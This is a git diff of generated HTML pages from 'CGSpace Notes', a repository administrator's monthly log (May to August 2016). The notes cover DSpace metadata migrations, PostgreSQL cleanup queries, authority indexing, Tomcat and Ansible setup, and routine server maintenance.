  • Work on 707 CCAFS records
    • +
  • They have thumbnails on Flickr and elsewhere
    • +
  • In OpenRefine I created a new filename column based on the thumbnail column with the following GREL:
    • +
+
if(cells['thumbnails'].value.contains('hqdefault'), cells['thumbnails'].value.split('/')[-2] + '.jpg', cells['thumbnails'].value.split('/')[-1])
+
    +
  • Because ~400 records had the same filename on Flickr (hqdefault.jpg) but different UUIDs in the URL
    • +
  • So for the hqdefault.jpg ones I just take the UUID (-2) and use it as the filename
    • +
  • Before importing with SAFBuilder I tested adding “__bundle:THUMBNAIL” to the filename column and it works fine
    • +
+

2016-05-19

+
    +
  • More quality control on filename field of CCAFS records to make processing in shell and SAFBuilder more reliable:
    • +
+
value.replace('_','').replace('-','')
+
    +
  • We need to hold off on moving dc.Species to cg.species because it is only used for plants, and might be better to move it to something like cg.species.plant
    • +
  • And dc.identifier.fund is MOSTLY used for CPWF project identifier but has some other sponsorship things +
      +
    • We should move PN*, SG*, CBA, IA, and PHASE* values to cg.identifier.cpwfproject
      • +
    • The rest, like BMGF and USAID etc, might have to go to either dc.description.sponsorship or cg.identifier.fund (not sure yet)
      • +
    • There are also some mistakes in CPWF’s things, like “PN 47”
      • +
    • This ought to catch all the CPWF values (there don’t appear to be and SG* values):
      • +
    +
    • +
+
# select text_value from metadatavalue where resource_type_id=2 and metadata_field_id=75 and (text_value like 'PN%' or text_value like 'PHASE%' or text_value = 'CBA' or text_value = 'IA');
+

2016-05-20

+
    +
  • More work on CCAFS Video and Images records
    • +
  • For SAFBuilder we need to modify filename column to have the thumbnail bundle:
    • +
+
value + "__bundle:THUMBNAIL"
+
    +
  • Also, I fixed some weird characters using OpenRefine’s transform with the following GREL:
    • +
+
value.replace(/\u0081/,'')
+
    +
  • Write shell script to resize thumbnails with height larger than 400: https://gist.github.com/alanorth/131401dcd39d00e0ce12e1be3ed13256
    • +
  • Upload 707 CCAFS records to DSpace Test
    • +
  • A few miscellaneous fixes for XMLUI display niggles (spaces in item lists and link target _black): #224
    • +
  • Work on configuration changes for Phase 2 metadata migrations
    • +
+

2016-05-23

+
    +
  • Try to import the CCAFS Images and Videos to CGSpace but had some issues with LibreOffice and OpenRefine
    • +
  • LibreOffice excludes empty cells when it exports and all the fields shift over to the left and cause URLs to go to Subjects, etc.
    • +
  • Google Docs does this better, but somehow reorders the rows and when I paste the thumbnail/filename row in they don’t match!
    • +
  • I will have to try later
    • +
+

2016-05-30

+
    +
  • Export CCAFS video and image records from DSpace Test using the migrate option (-m):
    • +
+
$ mkdir ~/ccafs-images
+$ /home/dspacetest.cgiar.org/bin/dspace export -t COLLECTION -i 10568/79355 -d ~/ccafs-images -n 0 -m
+
    +
  • And then import to CGSpace:
    • +
+
$ JAVA_OPTS="-Xmx512m -Dfile.encoding=UTF-8" /home/cgspace.cgiar.org/bin/dspace import --add --eperson=aorth@mjanja.ch --collection=10568/70974 --source /tmp/ccafs-images --mapfile=/tmp/ccafs-images-may30.map &> /tmp/ccafs-images-may30.log
+
    +
  • But now we have double authors for “CGIAR Research Program on Climate Change, Agriculture and Food Security” in the authority
    • +
  • I’m trying to do a Discovery index before messing with the authority index
    • +
  • Looks like we are missing the index-authority cron job, so who knows what’s up with our authority index
    • +
  • Run system updates on DSpace Test, re-deploy code, and reboot the server
    • +
  • Clean up and import ~200 CTA records to CGSpace via CSV like:
    • +
+
$ export JAVA_OPTS="-Xmx512m -Dfile.encoding=UTF-8"
+$ /home/cgspace.cgiar.org/bin/dspace metadata-import -e aorth@mjanja.ch -f ~/CTA-May30/CTA-42229.csv &> ~/CTA-May30/CTA-42229.log
+
    +
  • Discovery indexing took a few hours for some reason, and after that I started the index-authority script
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" /home/cgspace.cgiar.org/bin/dspace index-authority
+

2016-05-31

+
    +
  • The index-authority script ran over night and was finished in the morning
    • +
  • Hopefully this was because we haven’t been running it regularly and it will speed up next time
    • +
  • I am running it again with a timer to see:
    • +
+
$ time /home/cgspace.cgiar.org/bin/dspace index-authority
+Retrieving all data
+Initialize org.dspace.authority.indexer.DSpaceAuthorityIndexer
+Cleaning the old index
+Writing new data
+All done !
+
+real    37m26.538s
+user    2m24.627s
+sys     0m20.540s
+
    +
  • Update tomcat7 crontab on CGSpace and DSpace Test to have the index-authority script that we were missing
    • +
  • Add new ILRI subject and CCAFS project tags to input-forms.xml (#226, #225)
    • +
  • Manually mapped the authors of a few old CCAFS records to the new CCAFS authority UUID and re-indexed authority indexes to see if it helps correct those items.
    • +
  • Re-sync DSpace Test data with CGSpace
    • +
  • Clean up and import ~65 more CTA items into CGSpace
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-06/index.html b/docs/2016-06/index.html new file mode 100644 index 000000000..3657623e8 --- /dev/null +++ b/docs/2016-06/index.html @@ -0,0 +1,463 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + June, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

June, 2016

+

+ + in + +  + +

+
+

2016-06-01

+ +
dspacetest=# update metadatavalue set metadata_field_id=130 where metadata_field_id=75 and (text_value like 'PN%' or text_value like 'PHASE%' or text_value = 'CBA' or text_value = 'IA');
+UPDATE 497
+dspacetest=# update metadatavalue set metadata_field_id=29 where metadata_field_id=75;
+UPDATE 14
+
    +
  • Fix a few minor miscellaneous issues in dspace.cfg (#227)
    • +
+

2016-06-02

+
    +
  • Testing the configuration and theme changes for the upcoming metadata migration and I found some issues with cg.coverage.admin-unit
    • +
  • Seems that the Browse configuration in dspace.cfg can’t handle the ‘-’ in the field name:
    • +
+
webui.browse.index.12 = subregion:metadata:cg.coverage.admin-unit:text
+
    +
  • But actually, I think since DSpace 4 or 5 (we are 5.1) the Browse indexes come from Discovery (defined in discovery.xml) so this is really just a parsing error
    • +
  • I’ve sent a message to the DSpace mailing list to ask about the Browse index definition
    • +
  • A user was having problems with submission and from the stacktrace it looks like a Sherpa/Romeo issue
    • +
  • I found a thread on the mailing list talking about it and there is bug report and a patch: https://jira.duraspace.org/browse/DS-2740
    • +
  • The patch applies successfully on DSpace 5.1 so I will try it later
    • +
+

2016-06-03

+
    +
  • Investigating the CCAFS authority issue, I exported the metadata for the Videos collection
    • +
  • The top two authors are:
    • +
+
CGIAR Research Program on Climate Change, Agriculture and Food Security::acd00765-02f1-4b5b-92fa-bfa3877229ce::500
+CGIAR Research Program on Climate Change, Agriculture and Food Security::acd00765-02f1-4b5b-92fa-bfa3877229ce::600
+
    +
  • So the only difference is the “confidence”
    • +
  • Ok, well THAT is interesting:
    • +
+
dspacetest=# select text_value, authority, confidence from metadatavalue where metadata_field_id=3 and text_value like '%Orth, %';
+ text_value |              authority               | confidence
+------------+--------------------------------------+------------
+ Orth, A.   | ab606e3a-2b04-4c7d-9423-14beccf54257 |         -1
+ Orth, A.   | ab606e3a-2b04-4c7d-9423-14beccf54257 |         -1
+ Orth, A.   | ab606e3a-2b04-4c7d-9423-14beccf54257 |         -1
+ Orth, Alan |                                      |         -1
+ Orth, Alan |                                      |         -1
+ Orth, Alan |                                      |         -1
+ Orth, Alan |                                      |         -1
+ Orth, A.   | 05c2c622-d252-4efb-b9ed-95a07d3adf11 |         -1
+ Orth, A.   | 05c2c622-d252-4efb-b9ed-95a07d3adf11 |         -1
+ Orth, A.   | ab606e3a-2b04-4c7d-9423-14beccf54257 |         -1
+ Orth, A.   | ab606e3a-2b04-4c7d-9423-14beccf54257 |         -1
+ Orth, Alan | ad281dbf-ef81-4007-96c3-a7f5d2eaa6d9 |        600
+ Orth, Alan | ad281dbf-ef81-4007-96c3-a7f5d2eaa6d9 |        600
+(13 rows)
+
    +
  • And now an actually relevent example:
    • +
+
dspacetest=# select count(*) from metadatavalue where metadata_field_id=3 and text_value like 'CGIAR Research Program on Climate Change, Agriculture and Food Security' and confidence = 500;
+ count
+-------
+   707
+(1 row)
+
+dspacetest=# select count(*) from metadatavalue where metadata_field_id=3 and text_value like 'CGIAR Research Program on Climate Change, Agriculture and Food Security' and confidence != 500;
+ count
+-------
+   253
+(1 row)
+
    +
  • Trying something experimental:
    • +
+
dspacetest=# update metadatavalue set confidence=500 where metadata_field_id=3 and text_value like 'CGIAR Research Program on Climate Change, Agriculture and Food Security';
+UPDATE 960
+
    +
  • And then re-indexing authority and Discovery…?
    • +
  • After Discovery reindex the CCAFS authors are all together in the Authors sidebar facet
    • +
  • The docs for the ORCiD and Authority stuff for DSpace 5 mention changing the browse indexes to use the Authority as well:
    • +
+
webui.browse.index.2 = author:metadataAuthority:dc.contributor.author:authority
+
    +
  • That would only be for the “Browse by” function… so we’ll have to see what effect that has later
    • +
+

2016-06-04

+
    +
  • Re-sync DSpace Test with CGSpace and perform test of metadata migration again
    • +
  • Run phase two of metadata migrations on CGSpace (see the migration notes)
    • +
  • Run all system updates and reboot CGSpace server
    • +
+

2016-06-07

+
    +
  • Figured out how to export a list of the unique values from a metadata field ordered by count:
    • +
+
dspacetest=# \copy (select text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=29 group by text_value order by count desc) to /tmp/sponsorship.csv with csv;
+
    +
  • +

    Identified the next round of fields to migrate:

    +
      +
    • dc.title.jtitle → dc.source
      • +
    • dc.crsubject.crpsubject → cg.contributor.crp
      • +
    • dc.contributor.affiliation → cg.contributor.affiliation
      • +
    • dc.Species → cg.species
      • +
    • dc.contributor.corporate → dc.contributor
      • +
    • dc.identifier.url → cg.identifier.url
      • +
    • dc.identifier.doi → cg.identifier.doi
      • +
    • dc.identifier.googleurl → cg.identifier.googleurl
      • +
    • dc.identifier.dataurl → cg.identifier.dataurl
      • +
    +
    • +
  • +

    Discuss pulling data from IFPRI’s ContentDM with Ryan Miller

    +
    • +
  • +

    Looks like OAI is kinda obtuse for this, and if we use ContentDM’s API we’ll be able to access their internal field names (rather than trying to figure out how they stuffed them into various, repeated Dublin Core fields)

    +
    • +
+

2016-06-08

+ +
$ xml sel -t -m '//value-pairs[@value-pairs-name="ilrisubject"]/pair/displayed-value/text()' -c '.' -n dspace/config/input-forms.xml
+
    +
  • Write to Atmire about the use of atmire.orcid.id to see if we can change it
    • +
  • Seems to be a virtual field that is queried from the authority cache… hmm
    • +
  • In other news, I found out that the About page that we haven’t been using lives in dspace/config/about.xml, so now we can update the text
    • +
  • File bug about closed="true" attribute of controlled vocabularies not working: https://jira.duraspace.org/browse/DS-3238
    • +
+

2016-06-09

+
    +
  • Atmire explained that the atmire.orcid.id field doesn’t exist in the schema, as it actually comes from the authority cache during XMLUI run time
    • +
  • This means we don’t see it when harvesting via OAI or REST, for example
    • +
  • They opened a feature ticket on the DSpace tracker to ask for support of this: https://jira.duraspace.org/browse/DS-3239
    • +
+

2016-06-10

+
    +
  • Investigating authority confidences
    • +
  • It looks like the values are documented in Choices.java
    • +
  • Experiment with setting all 960 CCAFS author values to be 500:
    • +
+
dspacetest=# SELECT authority, confidence FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=3 AND text_value = 'CGIAR Research Program on Climate Change, Agriculture and Food Security';
+
+dspacetest=# UPDATE metadatavalue set confidence = 500 where resource_type_id=2 AND metadata_field_id=3 AND text_value = 'CGIAR Research Program on Climate Change, Agriculture and Food Security';
+UPDATE 960
+
    +
  • After the database edit, I did a full Discovery re-index
    • +
  • And now there are exactly 960 items in the authors facet for ‘CGIAR Research Program on Climate Change, Agriculture and Food Security’
    • +
  • Now I ran the same on CGSpace
    • +
  • Merge controlled vocabulary functionality for animal breeds to 5_x-prod (#236)
    • +
  • Write python script to update metadata values in batch via PostgreSQL: fix-metadata-values.py
    • +
  • We need to use this to correct some pretty ugly values in fields like dc.description.sponsorship
    • +
  • Merge item display tweaks from earlier this week (#231)
    • +
  • Merge controlled vocabulary functionality for subregions (#238)
    • +
+

2016-06-11

+
    +
  • Merge controlled vocabulary for sponsorship field (#239)
    • +
  • Fix character encoding issues for animal breed lookup that I merged yesterday
    • +
+

2016-06-17

+
    +
  • Linode has free RAM upgrades for their 13th birthday so I migrated DSpace Test (4→8GB of RAM)
    • +
+

2016-06-18

+
    +
  • +

    Clean up titles and hints in input-forms.xml to use title/sentence case and a few more consistency things (#241)

    +
    • +
  • +

    The final list of fields to migrate in the third phase of metadata migrations is:

    +
      +
    • dc.title.jtitle → dc.source
      • +
    • dc.crsubject.crpsubject → cg.contributor.crp
      • +
    • dc.contributor.affiliation → cg.contributor.affiliation
      • +
    • dc.srplace.subregion → cg.coverage.subregion
      • +
    • dc.Species → cg.species
      • +
    • dc.contributor.corporate → dc.contributor
      • +
    • dc.identifier.url → cg.identifier.url
      • +
    • dc.identifier.doi → cg.identifier.doi
      • +
    • dc.identifier.googleurl → cg.identifier.googleurl
      • +
    • dc.identifier.dataurl → cg.identifier.dataurl
      • +
    +
    • +
  • +

    Interesting “Sunburst” visualization on a Digital Commons page: http://www.repository.law.indiana.edu/sunburst.html

    +
    • +
  • +

    Final testing on metadata fix/delete for dc.description.sponsorship cleanup

    +
    • +
  • +

    Need to run fix-metadata-values.py and then fix-metadata-values.py

    +
    • +
+

2016-06-20

+
    +
  • CGSpace’s HTTPS certificate expired last night and I didn’t notice, had to renew:
    • +
+
# /opt/letsencrypt/letsencrypt-auto renew --standalone --pre-hook "/usr/bin/service nginx stop" --post-hook "/usr/bin/service nginx start"
+
    +
  • I really need to fix that cron job…
    • +
+

2016-06-24

+
    +
  • Run the replacements/deletes for dc.description.sponsorship (investors) on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i investors-not-blank-not-delete-85.csv -f dc.description.sponsorship -t 'correct investor' -m 29 -d cgspace -p 'fuuu' -u cgspace
+$ ./delete-metadata-values.py -i investors-delete-82.csv -f dc.description.sponsorship -m 29 -d cgspace -p 'fuuu' -u cgspace
+
+

2016-06-28

+
    +
  • Testing the cleanup of dc.contributor.corporate with 13 deletions and 121 replacements
    • +
  • There are still ~97 fields that weren’t indicated to do anything
    • +
  • After the above deletions and replacements I regenerated a CSV and sent it to Peter et al to have a look
    • +
+
dspacetest=# \copy (select text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=126 group by text_value order by count desc) to /tmp/contributors-june28.csv with csv;
+
    +
  • Re-evaluate dc.contributor.corporate and it seems we will move it to dc.contributor.author as this is more in line with how editors are actually using it
    • +
+

2016-06-29

+
    +
  • Test run of migrate-fields.sh with the following re-mappings:
    • +
+
72  55  #dc.source
+86  230 #cg.contributor.crp
+91  211 #cg.contributor.affiliation
+94  212 #cg.species
+107 231 #cg.coverage.subregion
+126 3   #dc.contributor.author
+73  219 #cg.identifier.url
+74  220 #cg.identifier.doi
+79  222 #cg.identifier.googleurl
+89  223 #cg.identifier.dataurl
+
    +
  • Run all cleanups and deletions of dc.contributor.corporate on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i Corporate-Authors-Fix-121.csv -f dc.contributor.corporate -t 'Correct style' -m 126 -d cgspace -u cgspace -p 'fuuu'
+$ ./fix-metadata-values.py -i Corporate-Authors-Fix-PB.csv -f dc.contributor.corporate -t 'should be' -m 126 -d cgspace -u cgspace -p 'fuuu'
+$ ./delete-metadata-values.py -f dc.contributor.corporate -i Corporate-Authors-Delete-13.csv -m 126 -u cgspace -d cgspace -p 'fuuu'
+
    +
  • Re-deploy CGSpace and DSpace Test with latest June changes
    • +
  • Now the sharing and Altmetric bits are more prominent:
    • +
+

DSpace 5.1 XMLUI With Altmetric Badge

+
    +
  • Run all system updates on the servers and reboot
    • +
  • Start working on config changes for phase three of the metadata migrations
    • +
+

2016-06-30

+
    +
  • Wow, there are 95 authors in the database who have ‘,’ at the end of their name:
    • +
+
# select text_value from  metadatavalue where metadata_field_id=3 and text_value like '%,';
+
    +
  • We need to use something like this to fix them, need to write a proper regex later:
    • +
+
# update metadatavalue set text_value = regexp_replace(text_value, '(Poole, J),', '\1') where metadata_field_id=3 and text_value = 'Poole, J,';
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-07/index.html b/docs/2016-07/index.html new file mode 100644 index 000000000..fd87dbf93 --- /dev/null +++ b/docs/2016-07/index.html @@ -0,0 +1,379 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + July, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

July, 2016

+

+ + in + +  + +

+
+

2016-07-01

+
    +
  • Add dc.description.sponsorship to Discovery sidebar facets and make investors clickable in item view (#232)
    • +
  • I think this query should find and replace all authors that have “,” at the end of their names:
    • +
+
dspacetest=# update metadatavalue set text_value = regexp_replace(text_value, '(^.+?),$', '\1') where metadata_field_id=3 and resource_type_id=2 and text_value ~ '^.+?,$';
+UPDATE 95
+dspacetest=# select text_value from  metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value ~ '^.+?,$';
+ text_value
+------------
+(0 rows)
+
    +
  • In this case the select query was showing 95 results before the update
    • +
+

2016-07-02

+
    +
  • Comment on DSpace Jira ticket about author lookup search text (DS-2329)
    • +
+

2016-07-04

+
    +
  • Seems the database’s author authority values mean nothing without the authority Solr core from the host where they were created!
    • +
+

2016-07-05

+
    +
  • Amend backup-solr.sh script so it backs up the entire Solr folder
    • +
  • We really only need statistics and authority but meh
    • +
  • Fix metadata for species on DSpace Test:
    • +
+
$ ./fix-metadata-values.py -i /tmp/Species-Peter-Fix.csv -f dc.Species -t CORRECT -m 94 -d dspacetest -u dspacetest -p 'fuuu'
+
    +
  • Will run later on CGSpace
    • +
  • A user is still having problems with Sherpa/Romeo causing crashes during the submission process when the journal is “ungraded”
    • +
  • I tested the patch for DS-2740 that I had found last month and it seems to work
    • +
  • I will merge it to 5_x-prod
    • +
+

2016-07-06

+
    +
  • Delete 23 blank metadata values from CGSpace:
    • +
+
cgspace=# delete from metadatavalue where resource_type_id=2 and text_value='';
+DELETE 23
+
    +
  • Complete phase three of metadata migration, for the following fields: +
      +
    • dc.title.jtitle → dc.source
      • +
    • dc.crsubject.crpsubject → cg.contributor.crp
      • +
    • dc.contributor.affiliation → cg.contributor.affiliation
      • +
    • dc.Species → cg.species
      • +
    • dc.srplace.subregion → cg.coverage.subregion
      • +
    • dc.contributor.corporate → dc.contributor.author
      • +
    • dc.identifier.url → cg.identifier.url
      • +
    • dc.identifier.doi → cg.identifier.doi
      • +
    • dc.identifier.googleurl → cg.identifier.googleurl
      • +
    • dc.identifier.dataurl → cg.identifier.dataurl
      • +
    +
    • +
  • Also, run fixes and deletes for species and author affiliations (over 1000 corrections!)
    • +
+
$ ./fix-metadata-values.py -i Species-Peter-Fix.csv -f dc.Species -t CORRECT -m 212 -d dspace -u dspace -p 'fuuu'
+$ ./fix-metadata-values.py -i Affiliations-Fix-1045-Peter-Abenet.csv -f dc.contributor.affiliation -t Correct -m 211 -d dspace -u dspace -p 'fuuu'
+$ ./delete-metadata-values.py -f dc.contributor.affiliation -i Affiliations-Delete-Peter-Abenet.csv -m 211 -u dspace -d dspace -p 'fuuu'
+
    +
  • I then ran all server updates and rebooted the server
    • +
+

2016-07-11

+
    +
  • Doing some author cleanups from Peter and Abenet:
    • +
+
$ ./fix-metadata-values.py -i /tmp/Authors-Fix-205-UTF8.csv -f dc.contributor.author -t correct -m 3 -d dspacetest -u dspacetest -p fuuu
+$ ./delete-metadata-values.py -f dc.contributor.author -i /tmp/Authors-Delete-UTF8.csv -m 3 -u dspacetest -d dspacetest -p fuuu
+

2016-07-13

+
    +
  • Run the author cleanups on CGSpace and start a full Discovery re-index
    • +
+

2016-07-14

+
    +
  • Test LDAP settings for new root LDAP
    • +
  • Seems to work when binding as a top-level user
    • +
+

2016-07-18

+
    +
  • Adjust identifiers in XMLUI item display to be more prominent
    • +
  • Add species and breed to the XMLUI item display
    • +
  • CGSpace crashed late at night and the DSpace logs were showing:
    • +
+
2016-07-18 20:26:30,941 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL connection Error - 
+org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error Timeout waiting for idle object
+...
+
    +
  • I suspect it’s someone hitting REST too much:
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log  | sort -n | uniq -c | sort -h | tail -n 3
+    710 66.249.78.38
+   1781 181.118.144.29
+  24904 70.32.99.142
+
    +
  • I just blocked access to /rest for that last IP for now:
    • +
+
     # log rest requests
+     location /rest {
+         access_log /var/log/nginx/rest.log;
+         proxy_pass http://127.0.0.1:8443;
+         deny 70.32.99.142;
+     }
+

2016-07-21

+ +

2016-07-22

+
    +
  • Help Paola from CCAFS with thumbnails for batch uploads
    • +
  • She has been struggling to get the dimensions right, and manually enlarging smaller thumbnails, renaming PNGs to JPG, etc
    • +
  • Altmetric reports having an issue with some of our authors being doubled…
    • +
  • This is related to authority and confidence!
    • +
  • We might need to use index.authority.ignore-prefered=true to tell the Discovery index to prefer the variation that exists in the metadatavalue rather than what it finds in the authority cache.
    • +
  • Trying these on DSpace Test after a discussion by Daniel Scharon on the dspace-tech mailing list:
    • +
+
index.authority.ignore-prefered.dc.contributor.author=true
+index.authority.ignore-variants.dc.contributor.author=false
+
    +
  • After reindexing I don’t see any change in Discovery’s display of authors, and still have entries like:
    • +
+
Grace, D. (464)
+Grace, D. (62)
+
    +
  • I asked for clarification of the following options on the DSpace mailing list:
    • +
+
index.authority.ignore
+index.authority.ignore-prefered
+index.authority.ignore-variants
+
    +
  • In the mean time, I will try these on DSpace Test (plus a reindex):
    • +
+
index.authority.ignore=true
+index.authority.ignore-prefered=true
+index.authority.ignore-variants=true
+
    +
  • Enabled usage of X-Forwarded-For in DSpace admin control panel (#255
    • +
  • It was misconfigured and disabled, but already working for some reason sigh
    • +
  • … no luck. Trying with just:
    • +
+
index.authority.ignore=true
+
    +
  • After re-indexing and clearing the XMLUI cache nothing has changed
    • +
+

2016-07-25

+
    +
  • Trying a few more settings (plus reindex) for Discovery on DSpace Test:
    • +
+
index.authority.ignore-prefered.dc.contributor.author=true
+index.authority.ignore-variants=true
+
    +
  • Run all OS updates and reboot DSpace Test server
    • +
  • No changes to Discovery after reindexing… hmm.
    • +
  • Integrate and massively clean up About page (#256)
    • +
+

About page

+
    +
  • The DSpace source code mentions the configuration key discovery.index.authority.ignore-prefered.* (with prefix of discovery, despite the docs saying otherwise), so I’m trying the following on DSpace Test:
    • +
+
discovery.index.authority.ignore-prefered.dc.contributor.author=true
+discovery.index.authority.ignore-variants=true
+
    +
  • Still no change!
    • +
  • Deploy species, breed, and identifier changes to CGSpace, as well as About page
    • +
  • Run Linode RAM upgrade (8→12GB)
    • +
  • Re-sync DSpace Test with CGSpace
    • +
  • I noticed that our backup scripts don’t send Solr cores to S3 so I amended the script
    • +
+

2016-07-31

+
    +
  • Work on removing Dryland Systems and Humidtropics subjects from Discovery sidebar and Browse by
    • +
  • Also change “Subjects” to “AGROVOC keywords” in Discovery sidebar/search and Browse by (#257)
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-08/index.html b/docs/2016-08/index.html new file mode 100644 index 000000000..380d1567a --- /dev/null +++ b/docs/2016-08/index.html @@ -0,0 +1,443 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

August, 2016

+

+ + in + +  + +

+
+

2016-08-01

+
    +
  • Add updated distribution license from Sisay (#259)
    • +
  • Play with upgrading Mirage 2 dependencies in bower.json because most are several versions of out date
    • +
  • Bootstrap is at 3.3.0 but upstream is at 3.3.7, and upgrading to anything beyond 3.3.1 breaks glyphicons and probably more
    • +
  • bower stuff is a dead end, waste of time, too many issues
    • +
  • Anything after Bootstrap 3.3.1 makes glyphicons disappear (HTTP 404 trying to access from incorrect path of fonts)
    • +
  • Start working on DSpace 5.1 → 5.5 port:
    • +
+
$ git checkout -b 55new 5_x-prod
+$ git reset --hard ilri/5_x-prod
+$ git rebase -i dspace-5.5
+
    +
  • Lots of conflicts that don’t make sense (ie, shouldn’t conflict!)
    • +
  • This file in particular conflicts almost 10 times: dspace/modules/xmlui-mirage2/src/main/webapp/themes/CGIAR/styles/_style.scss
    • +
  • Checking out a clean branch at 5.5 and cherry-picking our commits works where that file would normally have a conflict
    • +
  • Seems to be related to merge commits
    • +
  • git rebase --preserve-merges doesn’t seem to help
    • +
  • Eventually I just turned on git rerere and solved the conflicts and completed the 403 commit rebase
    • +
  • The 5.5 code now builds but doesn’t run (white page in Tomcat)
    • +
+

2016-08-02

+
    +
  • Ask Atmire for help with DSpace 5.5 issue
    • +
  • Vanilla DSpace 5.5 deploys and runs fine
    • +
  • Playing with DSpace in Ubuntu 16.04 and Tomcat 7
    • +
  • Everything is still fucked up, even vanilla DSpace 5.5
    • +
+

2016-08-04

+
    +
  • Ask on DSpace mailing list about duplicate authors, Discovery and author text values
    • +
  • Atmire responded with some new DSpace 5.5 ready versions to try for their modules
    • +
+

2016-08-05

+
    +
  • Fix item display incorrectly displaying Species when Breeds were present (#260)
    • +
  • Experiment with fixing more authors, like Delia Grace:
    • +
+
dspacetest=# update metadatavalue set authority='0b4fcbc1-d930-4319-9b4d-ea1553cca70b', confidence=600 where metadata_field_id=3 and text_value='Grace, D.';
+

2016-08-06

+
    +
  • Finally figured out how to remove “View/Open” and “Bitstreams” from the item view
    • +
+

2016-08-07

+
    +
  • Start working on Ubuntu 16.04 Ansible playbook for Tomcat 8, PostgreSQL 9.5, Oracle 8, etc
    • +
+

2016-08-08

+
    +
  • Still troubleshooting Atmire modules on DSpace 5.5
    • +
  • Vanilla DSpace 5.5 works on Tomcat 7…
    • +
  • Ooh, and vanilla DSpace 5.5 works on Tomcat 8 with Java 8!
    • +
  • Some notes about setting up Tomcat 8, since it’s new on this machine…
    • +
  • Install latest Oracle Java 8 JDK
    • +
  • Create setenv.sh in Tomcat 8 libexec/bin directory:
    • +
+
CATALINA_OPTS="-Djava.awt.headless=true -Xms3072m -Xmx3072m -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -Dfile.encoding=UTF-8"
+CATALINA_OPTS="$CATALINA_OPTS -Djava.library.path=/opt/brew/Cellar/tomcat-native/1.2.8/lib"
+
+JRE_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home
+
    +
  • Edit Tomcat 8 server.xml to add regular HTTP listener for solr
    • +
  • Symlink webapps:
    • +
+
$ rm -rf /opt/brew/Cellar/tomcat/8.5.4/libexec/webapps/ROOT
+$ ln -sv ~/dspace/webapps/xmlui /opt/brew/Cellar/tomcat/8.5.4/libexec/webapps/ROOT
+$ ln -sv ~/dspace/webapps/oai /opt/brew/Cellar/tomcat/8.5.4/libexec/webapps/oai
+$ ln -sv ~/dspace/webapps/jspui /opt/brew/Cellar/tomcat/8.5.4/libexec/webapps/jspui
+$ ln -sv ~/dspace/webapps/rest /opt/brew/Cellar/tomcat/8.5.4/libexec/webapps/rest
+$ ln -sv ~/dspace/webapps/solr /opt/brew/Cellar/tomcat/8.5.4/libexec/webapps/solr
+

2016-08-09

+ +

2016-08-10

+
    +
  • Turns out DSpace 5.x isn’t ready for Tomcat 8: https://jira.duraspace.org/browse/DS-3092
    • +
  • So we’ll need to use Tomcat 7 + Java 8 on Ubuntu 16.04
    • +
  • More work on the Ansible stuff for this, allowing Tomcat 7 to use Java 8
    • +
  • Merge pull request for fixing the type Discovery index to use dc.type (#262)
    • +
  • Merge pull request for removing “Bitstream” text from item display, as it confuses users and isn’t necessary (#263)
    • +
+

2016-08-11

+
    +
  • Finally got DSpace (5.5) running on Ubuntu 16.04, Tomcat 7, Java 8, PostgreSQL 9.5 via the updated Ansible stuff
    • +
+

DSpace 5.5 on Ubuntu 16.04, Tomcat 7, Java 8, PostgreSQL 9.5

+

2016-08-14

+ +

2016-08-15

+ +

ExpressJS running behind nginx

+

2016-08-16

+
    +
  • Troubleshoot Paramiko connection issues with Ansible on ILRI servers: #37
    • +
  • Turns out we need to add some MACs to our sshd_config: hmac-sha2-512,hmac-sha2-256
    • +
  • Update DSpace Test’s Java to version 8 to start testing this configuration (seeing as Solr recommends it)
    • +
+

2016-08-17

+
    +
  • More work on Let’s Encrypt stuff for Ansible roles
    • +
  • Yesterday Atmire responded about DSpace 5.5 issues and asked me to try the dspace database repair command to fix Flyway issues
    • +
  • The dspace database command doesn’t even run: https://gist.github.com/alanorth/c43c8d89e8df346d32c0ee938be90cd5
    • +
  • Oops, it looks like the missing classes causing dspace database to fail were coming from the old ~/dspace/config/spring folder
    • +
  • After removing the spring folder and running ant install again, dspace database works
    • +
  • I see there are missing and pending Flyway migrations, but running dspace database repair and dspace database migrate does nothing: https://gist.github.com/alanorth/41ed5abf2ff32d8ac9eedd1c3d015d70
    • +
+

2016-08-18

+
    +
  • Fix “CONGO,DR” country name in input-forms.xml (#264)
    • +
  • Also need to fix existing records using the incorrect form in the database:
    • +
+
dspace=# update metadatavalue set text_value='CONGO, DR' where resource_type_id=2 and metadata_field_id=228 and text_value='CONGO,DR';
+
    +
  • I asked a question on the DSpace mailing list about updating “preferred” forms of author names from ORCID
    • +
+

2016-08-21

+
    +
  • A few days ago someone on the DSpace mailing list suggested I try dspace dsrun org.dspace.authority.UpdateAuthorities to update preferred author names from ORCID
    • +
